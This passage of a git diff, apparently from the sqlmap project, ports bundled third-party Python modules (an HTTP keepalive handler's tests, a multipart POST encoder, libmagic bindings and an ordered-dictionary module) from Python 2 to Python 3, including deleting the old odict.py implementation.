error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) HANDLE_ERRORS = i try: - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() try: status, reason = fo.status, fo.reason except AttributeError: status, reason = None, None except IOError as e: - print " EXCEPTION: %s" % e + print(" EXCEPTION: %s" % e) raise else: - print " status = %s, reason = %s" % (status, reason) + print(" status = %s, reason = %s" % (status, reason)) HANDLE_ERRORS = orig hosts = keepalive_handler.open_connections() - print "open connections:", hosts + print("open connections:", hosts) keepalive_handler.close_all() def continuity(url): - import md5 + from hashlib import md5 format = '%25s: %s' # first fetch the file with the normal http handler - opener = urllib2.build_opener() - urllib2.install_opener(opener) - fo = urllib2.urlopen(url) + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() - m = md5.new(foo) - print format % ('normal urllib', m.hexdigest()) + m = md5(foo) + print(format % ('normal urllib', m.hexdigest())) # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() - m = md5.new(foo) - print format % ('keepalive read', m.hexdigest()) + m = md5(foo) + print(format % ('keepalive read', m.hexdigest())) - fo = urllib2.urlopen(url) - foo = '' + fo = _urllib.request.urlopen(url) + foo = b'' while 1: f = fo.readline() - if f: foo = foo + f + if f: foo += f else: break fo.close() - m = md5.new(foo) - print format % ('keepalive readline', m.hexdigest()) + m = md5(foo) + print(format % ('keepalive readline', m.hexdigest())) def comp(N, url): - print ' making %i connections to:\n %s' % (N, url) + print(' making %i connections to:\n %s' % (N, url)) sys.stdout.write(' first using the normal urllib handlers') # first use normal opener - opener = urllib2.build_opener() - urllib2.install_opener(opener) + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) t1 = fetch(N, url) - print ' TIME: %.3f s' % t1 + print(' TIME: %.3f s' % t1) sys.stdout.write(' now using the keepalive handler ') # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) t2 = fetch(N, url) - print ' TIME: %.3f s' % t2 - print ' improvement factor: %.2f' % (t1/t2, ) + print(' TIME: %.3f s' % t2) + print(' improvement factor: %.2f' % (t1/t2, )) def fetch(N, url, delay=0): import time lens = [] starttime = time.time() - for i in range(N): + for i in _range(N): if delay and i > 0: time.sleep(delay) - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() lens.append(len(foo)) @@ -572,7 +593,7 @@ def fetch(N, url, delay=0): for i in lens[1:]: j = j + 1 if not i == lens[0]: - print "WARNING: inconsistent length on read %i: %i" % (j, i) + print("WARNING: inconsistent length on read %i: %i" % (j, i)) return diff @@ -580,16 +601,16 @@ def test_timeout(url): global DEBUG dbbackup = DEBUG class FakeLogger: - def debug(self, msg, *args): print msg % args + def debug(self, msg, *args): print(msg % args) info = warning = error = debug DEBUG = FakeLogger() - print " fetching the file to establish a connection" - fo = urllib2.urlopen(url) + print(" fetching the file to establish a connection") + fo = _urllib.request.urlopen(url) data1 = fo.read() fo.close() i = 20 - print " waiting %i seconds for the server to close the connection" % i + print(" waiting %i seconds for the server to close the connection" % i) while i > 0: sys.stdout.write('\r %2i' % i) sys.stdout.flush() @@ -597,33 +618,33 @@ def debug(self, msg, *args): print msg % args i -= 1 sys.stderr.write('\r') - print " fetching the file a second time" - fo = urllib2.urlopen(url) + print(" fetching the file a second time") + fo = _urllib.request.urlopen(url) data2 = fo.read() fo.close() if data1 == data2: - print ' data are identical' + print(' data are identical') else: - print ' ERROR: DATA DIFFER' + print(' ERROR: DATA DIFFER') DEBUG = dbbackup def test(url, N=10): - print "checking error hander (do this on a non-200)" + print("checking error hander (do this on a non-200)") try: error_handler(url) except IOError as e: - print "exiting - exception will prevent further tests" + print("exiting - exception will prevent further tests") sys.exit() - print - print "performing continuity test (making sure stuff isn't corrupted)" + print() + print("performing continuity test (making sure stuff isn't corrupted)") continuity(url) - print - print "performing speed comparison" + print() + print("performing speed comparison") comp(N, url) - print - print "performing dropped-connection check" + print() + print("performing dropped-connection check") test_timeout(url) if __name__ == '__main__': @@ -633,6 +654,6 @@ def test(url, N=10): N = int(sys.argv[1]) url = sys.argv[2] except: - print "%s " % sys.argv[0] + print("%s " % sys.argv[0]) else: test(url, N) diff --git a/thirdparty/magic/magic.py b/thirdparty/magic/magic.py index 814839abec8..0a5c2575a93 100644 --- a/thirdparty/magic/magic.py +++ b/thirdparty/magic/magic.py @@ -117,7 +117,6 @@ def from_buffer(buffer, mime=False): pass if not libmagic or not libmagic._name: - import sys platform_to_lib = {'darwin': ['/opt/local/lib/libmagic.dylib', '/usr/local/lib/libmagic.dylib', '/usr/local/Cellar/libmagic/5.10/lib/libmagic.dylib'], @@ -200,7 +199,7 @@ def magic_load(cookie, filename): magic_compile.argtypes = [magic_t, c_char_p] except (ImportError, OSError): - from_file = from_buffer = lambda *args, **kwargs: "unknown" + from_file = from_buffer = lambda *args, **kwargs: MAGIC_UNKNOWN_FILETYPE MAGIC_NONE = 0x000000 # No flags MAGIC_DEBUG = 0x000001 # Turn on debugging @@ -223,3 +222,4 @@ def magic_load(cookie, filename): MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens +MAGIC_UNKNOWN_FILETYPE = b"unknown" diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index aeeeadab832..2f2389807ea 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -20,32 +20,28 @@ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ -import mimetools +import io import mimetypes import os +import re import stat -import StringIO import sys -import urllib -import urllib2 +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes from lib.core.exception import SqlmapDataException - - -class Callable: - def __init__(self, anycallable): - self.__call__ = anycallable +from thirdparty.six.moves import urllib as _urllib # Controls how sequences are uncoded. If true, elements may be given # multiple values by assigning a sequence. -doseq = 1 +doseq = True -class MultipartPostHandler(urllib2.BaseHandler): - handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first +class MultipartPostHandler(_urllib.request.BaseHandler): + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first def http_request(self, request): - data = request.get_data() + data = request.data if isinstance(data, dict): v_files = [] @@ -53,7 +49,7 @@ def http_request(self, request): try: for(key, value) in data.items(): - if isinstance(value, file) or hasattr(value, "file") or isinstance(value, StringIO.StringIO): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): v_files.append((key, value)) else: v_vars.append((key, value)) @@ -62,7 +58,7 @@ def http_request(self, request): raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) if len(v_files) == 0: - data = urllib.urlencode(v_vars, doseq) + data = _urllib.parse.urlencode(v_vars, doseq) else: boundary, data = self.multipart_encode(v_vars, v_files) contenttype = "multipart/form-data; boundary=%s" % boundary @@ -70,43 +66,49 @@ def http_request(self, request): # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") request.add_unredirected_header("Content-Type", contenttype) - request.add_data(data) + request.data = data + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + return request - def multipart_encode(vars, files, boundary=None, buf=None): + def multipart_encode(self, vars, files, boundary=None, buf=None): if boundary is None: - boundary = mimetools.choose_boundary() + boundary = choose_boundary() if buf is None: - buf = "" + buf = b"" for (key, value) in vars: if key is not None and value is not None: - buf += "--%s\r\n" % boundary - buf += "Content-Disposition: form-data; name=\"%s\"" % key - buf += "\r\n\r\n" + value + "\r\n" + buf += b"--%s\r\n" % getBytes(boundary) + buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" for (key, fd) in files: - file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len + file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] try: - contenttype = mimetypes.guess_type(filename)[0] or "application/octet-stream" + contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" except: # Reference: http://bugs.python.org/issue9291 - contenttype = "application/octet-stream" - buf += "--%s\r\n" % boundary - buf += "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (key, filename) - buf += "Content-Type: %s\r\n" % contenttype - # buf += "Content-Length: %s\r\n" % file_size + contenttype = b"application/octet-stream" + buf += b"--%s\r\n" % getBytes(boundary) + buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buf += b"Content-Type: %s\r\n" % getBytes(contenttype) + # buf += b"Content-Length: %s\r\n" % file_size fd.seek(0) - buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8") - buf += "\r\n%s\r\n" % fd.read() + buf += b"\r\n%s\r\n" % fd.read() - buf += "--%s--\r\n\r\n" % boundary + buf += b"--%s--\r\n\r\n" % getBytes(boundary) + buf = getBytes(buf) return boundary, buf - multipart_encode = Callable(multipart_encode) - https_request = http_request diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py index 1143598a32c..8571776ae42 100644 --- a/thirdparty/odict/__init__.py +++ b/thirdparty/odict/__init__.py @@ -1,26 +1,8 @@ #!/usr/bin/env python -# -# The BSD License -# -# Copyright 2003-2008 Nicola Larosa, Michael Foord -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# -pass +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from ordereddict import OrderedDict diff --git a/thirdparty/odict/odict.py b/thirdparty/odict/odict.py deleted file mode 100644 index ee7f2aa24f1..00000000000 --- a/thirdparty/odict/odict.py +++ /dev/null @@ -1,1403 +0,0 @@ -# odict.py -# An Ordered Dictionary object -# Copyright (C) 2005 Nicola Larosa, Michael Foord -# E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk - -# This software is licensed under the terms of the BSD license. -# http://www.voidspace.org.uk/python/license.shtml -# Basically you're free to copy, modify, distribute and relicense it, -# So long as you keep a copy of the license with it. - -# Documentation at http://www.voidspace.org.uk/python/odict.html -# For information about bugfixes, updates and support, please join the -# Pythonutils mailing list: -# http://groups.google.com/group/pythonutils/ -# Comments, suggestions and bug reports welcome. - -"""A dict that keeps keys in insertion order""" -from __future__ import generators - -__author__ = ('Nicola Larosa ,' - 'Michael Foord ') - -__docformat__ = "restructuredtext en" - -__version__ = '0.2.2' - -__all__ = ['OrderedDict', 'SequenceOrderedDict'] - -import sys -INTP_VER = sys.version_info[:2] -if INTP_VER < (2, 2): - raise RuntimeError("Python v.2.2 or later required") - -import types, warnings - -class _OrderedDict(dict): - """ - A class of dictionary that keeps the insertion order of keys. - - All appropriate methods return keys, items, or values in an ordered way. - - All normal dictionary methods are available. Update and comparison is - restricted to other OrderedDict objects. - - Various sequence methods are available, including the ability to explicitly - mutate the key ordering. - - __contains__ tests: - - >>> d = OrderedDict(((1, 3),)) - >>> 1 in d - 1 - >>> 4 in d - 0 - - __getitem__ tests: - - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2] - 1 - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4] - Traceback (most recent call last): - KeyError: 4 - - __len__ tests: - - >>> len(OrderedDict()) - 0 - >>> len(OrderedDict(((1, 3), (3, 2), (2, 1)))) - 3 - - get tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.get(1) - 3 - >>> d.get(4) is None - 1 - >>> d.get(4, 5) - 5 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - - has_key tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.has_key(1) - 1 - >>> d.has_key(4) - 0 - """ - - def __init__(self, init_val=(), strict=False): - """ - Create a new ordered dictionary. Cannot init from a normal dict, - nor from kwargs, since items order is undefined in those cases. - - If the ``strict`` keyword argument is ``True`` (``False`` is the - default) then when doing slice assignment - the ``OrderedDict`` you are - assigning from *must not* contain any keys in the remaining dict. - - >>> OrderedDict() - OrderedDict([]) - >>> OrderedDict({1: 1}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> OrderedDict({1: 1}.items()) - OrderedDict([(1, 1)]) - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - >>> OrderedDict(d) - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - self.strict = strict - dict.__init__(self) - if isinstance(init_val, OrderedDict): - self._sequence = init_val.keys() - dict.update(self, init_val) - elif isinstance(init_val, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - self._sequence = [] - self.update(init_val) - -### Special methods ### - - def __delitem__(self, key): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> del d[3] - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> del d[3] - Traceback (most recent call last): - KeyError: 3 - >>> d[3] = 2 - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> del d[0:1] - >>> d - OrderedDict([(2, 1), (3, 2)]) - """ - if isinstance(key, types.SliceType): - # FIXME: efficiency? - keys = self._sequence[key] - for entry in keys: - dict.__delitem__(self, entry) - del self._sequence[key] - else: - # do the dict.__delitem__ *first* as it raises - # the more appropriate error - dict.__delitem__(self, key) - self._sequence.remove(key) - - def __eq__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d == OrderedDict(d) - True - >>> d == OrderedDict(((1, 3), (2, 1), (3, 2))) - False - >>> d == OrderedDict(((1, 0), (3, 2), (2, 1))) - False - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d == dict(d) - False - >>> d == False - False - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() == other.items()) - else: - return False - - def __lt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> c < d - True - >>> d < c - False - >>> d < dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() < other.items()) - - def __le__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c <= d - True - >>> d <= c - False - >>> d <= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> d <= e - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() <= other.items()) - - def __ne__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d != OrderedDict(d) - False - >>> d != OrderedDict(((1, 3), (2, 1), (3, 2))) - True - >>> d != OrderedDict(((1, 0), (3, 2), (2, 1))) - True - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d != dict(d) - True - >>> d != False - True - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return not (self.items() == other.items()) - else: - return True - - def __gt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> d > c - True - >>> c > d - False - >>> d > dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() > other.items()) - - def __ge__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c >= d - False - >>> d >= c - True - >>> d >= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> e >= d - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() >= other.items()) - - def __repr__(self): - """ - Used for __repr__ and __str__ - - >>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - >>> r1 - "OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])" - >>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - >>> r2 - "OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])" - >>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - True - >>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - True - """ - return '%s([%s])' % (self.__class__.__name__, ', '.join( - ['(%r, %r)' % (key, self[key]) for key in self._sequence])) - - def __setitem__(self, key, val): - """ - Allows slice assignment, so long as the slice is an OrderedDict - >>> d = OrderedDict() - >>> d['a'] = 'b' - >>> d['b'] = 'a' - >>> d[3] = 12 - >>> d - OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)]) - >>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - OrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d[::2] = OrderedDict(((7, 8), (9, 10))) - >>> d - OrderedDict([(7, 8), (2, 3), (9, 10)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4))) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)]) - Traceback (most recent call last): - ValueError: slice assignment must be from unique keys - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3))) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)]) - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = 3 - Traceback (most recent call last): - TypeError: slice assignment requires an OrderedDict - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = OrderedDict([(9, 8)]) - >>> d - OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)]) - """ - if isinstance(key, types.SliceType): - if not isinstance(val, OrderedDict): - # FIXME: allow a list of tuples? - raise TypeError('slice assignment requires an OrderedDict') - keys = self._sequence[key] - # NOTE: Could use ``range(*key.indices(len(self._sequence)))`` - indexes = range(len(self._sequence))[key] - if key.step is None: - # NOTE: new slice may not be the same size as the one being - # overwritten ! - # NOTE: What is the algorithm for an impossible slice? - # e.g. d[5:3] - pos = key.start or 0 - del self[key] - newkeys = val.keys() - for k in newkeys: - if k in self: - if self.strict: - raise ValueError('slice assignment must be from ' - 'unique keys') - else: - # NOTE: This removes duplicate keys *first* - # so start position might have changed? - del self[k] - self._sequence = (self._sequence[:pos] + newkeys + - self._sequence[pos:]) - dict.update(self, val) - else: - # extended slice - length of new slice must be the same - # as the one being replaced - if len(keys) != len(val): - raise ValueError('attempt to assign sequence of size %s ' - 'to extended slice of size %s' % (len(val), len(keys))) - # FIXME: efficiency? - del self[key] - item_list = zip(indexes, val.items()) - # smallest indexes first - higher indexes not guaranteed to - # exist - item_list.sort() - for pos, (newkey, newval) in item_list: - if self.strict and newkey in self: - raise ValueError('slice assignment must be from unique' - ' keys') - self.insert(pos, newkey, newval) - else: - if key not in self: - self._sequence.append(key) - dict.__setitem__(self, key, val) - - def __getitem__(self, key): - """ - Allows slicing. Returns an OrderedDict if you slice. - >>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)]) - >>> b[::-1] - OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)]) - >>> b[2:5] - OrderedDict([(5, 2), (4, 3), (3, 4)]) - >>> type(b[2:4]) - - """ - if isinstance(key, types.SliceType): - # FIXME: does this raise the error we want? - keys = self._sequence[key] - # FIXME: efficiency? - return OrderedDict([(entry, self[entry]) for entry in keys]) - else: - return dict.__getitem__(self, key) - - __str__ = __repr__ - - def __setattr__(self, name, value): - """ - Implemented so that accesses to ``sequence`` raise a warning and are - diverted to the new ``setkeys`` method. - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: doesn't return anything - self.setkeys(value) - else: - # FIXME: do we want to allow arbitrary setting of attributes? - # Or do we want to manage it? - object.__setattr__(self, name, value) - - def __getattr__(self, name): - """ - Implemented so that access to ``sequence`` raises a warning. - - >>> d = OrderedDict() - >>> d.sequence - [] - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: Still (currently) returns a direct reference. Need to - # because code that uses sequence will expect to be able to - # mutate it in place. - return self._sequence - else: - # raise the appropriate error - raise AttributeError("OrderedDict has no '%s' attribute" % name) - - def __deepcopy__(self, memo): - """ - To allow deepcopy to work with OrderedDict. - - >>> from copy import deepcopy - >>> a = OrderedDict([(1, 1), (2, 2), (3, 3)]) - >>> a['test'] = {} - >>> b = deepcopy(a) - >>> b == a - True - >>> b is a - False - >>> a['test'] is b['test'] - False - """ - from copy import deepcopy - return self.__class__(deepcopy(self.items(), memo), self.strict) - - -### Read-only methods ### - - def copy(self): - """ - >>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy() - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - return OrderedDict(self) - - def items(self): - """ - ``items`` returns a list of tuples representing all the - ``(key, value)`` pairs in the dictionary. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.items() - [(1, 3), (3, 2), (2, 1)] - >>> d.clear() - >>> d.items() - [] - """ - return zip(self._sequence, self.values()) - - def keys(self): - """ - Return a list of keys in the ``OrderedDict``. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - """ - return self._sequence[:] - - def values(self, values=None): - """ - Return a list of all the values in the OrderedDict. - - Optionally you can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.values() - [3, 2, 1] - """ - return [self[key] for key in self._sequence] - - def iteritems(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems() - >>> ii.next() - (1, 3) - >>> ii.next() - (3, 2) - >>> ii.next() - (2, 1) - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - key = keys.next() - yield (key, self[key]) - return make_iter() - - def iterkeys(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys() - >>> ii.next() - 1 - >>> ii.next() - 3 - >>> ii.next() - 2 - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - return iter(self._sequence) - - __iter__ = iterkeys - - def itervalues(self): - """ - >>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues() - >>> iv.next() - 3 - >>> iv.next() - 2 - >>> iv.next() - 1 - >>> iv.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - yield self[keys.next()] - return make_iter() - -### Read-write methods ### - - def clear(self): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.clear() - >>> d - OrderedDict([]) - """ - dict.clear(self) - self._sequence = [] - - def pop(self, key, *args): - """ - No dict.pop in Python 2.2, gotta reimplement it - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.pop(3) - 2 - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> d.pop(4) - Traceback (most recent call last): - KeyError: 4 - >>> d.pop(4, 0) - 0 - >>> d.pop(4, 0, 1) - Traceback (most recent call last): - TypeError: pop expected at most 2 arguments, got 3 - """ - if len(args) > 1: - raise TypeError('pop expected at most 2 arguments, got %s' % - (len(args) + 1)) - if key in self: - val = self[key] - del self[key] - else: - try: - val = args[0] - except IndexError: - raise KeyError(key) - return val - - def popitem(self, last=True): - """ - Delete and return an item specified by index, not a random one as in - dict. The index is -1 by default (the last item). - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.popitem() - (2, 1) - >>> d - OrderedDict([(1, 3), (3, 2)]) - >>> d.popitem(0) - (1, 3) - >>> OrderedDict().popitem() - Traceback (most recent call last): - KeyError: 'popitem(): dictionary is empty' - >>> d.popitem(2) - Traceback (most recent call last): - IndexError: popitem(): index 2 not valid - """ - if not self._sequence: - raise KeyError('popitem(): dictionary is empty') - try: - i = -1 if last else 0 - key = self._sequence[i] - except IndexError: - raise IndexError('popitem(): index %s not valid' % i) - return (key, self.pop(key)) - - def setdefault(self, key, defval = None): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setdefault(1) - 3 - >>> d.setdefault(4) is None - True - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)]) - >>> d.setdefault(5, 0) - 0 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)]) - """ - if key in self: - return self[key] - else: - self[key] = defval - return defval - - def update(self, from_od): - """ - Update from another OrderedDict or sequence of (key, value) pairs - - >>> d = OrderedDict(((1, 0), (0, 1))) - >>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1)))) - >>> d - OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)]) - >>> d.update({4: 4}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> d.update((4, 4)) - Traceback (most recent call last): - TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence - """ - if isinstance(from_od, OrderedDict): - for key, val in from_od.items(): - self[key] = val - elif isinstance(from_od, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - # FIXME: efficiency? - # sequence of 2-item sequences, or error - for item in from_od: - try: - key, val = item - except TypeError: - raise TypeError('cannot convert dictionary update' - ' sequence element "%s" to a 2-item sequence' % item) - self[key] = val - - def rename(self, old_key, new_key): - """ - Rename the key for a given value, without modifying sequence order. - - For the case where new_key already exists this raise an exception, - since if new_key exists, it is ambiguous as to what happens to the - associated values, and the position of new_key in the sequence. - - >>> od = OrderedDict() - >>> od['a'] = 1 - >>> od['b'] = 2 - >>> od.items() - [('a', 1), ('b', 2)] - >>> od.rename('b', 'c') - >>> od.items() - [('a', 1), ('c', 2)] - >>> od.rename('c', 'a') - Traceback (most recent call last): - ValueError: New key already exists: 'a' - >>> od.rename('d', 'b') - Traceback (most recent call last): - KeyError: 'd' - """ - if new_key == old_key: - # no-op - return - if new_key in self: - raise ValueError("New key already exists: %r" % new_key) - 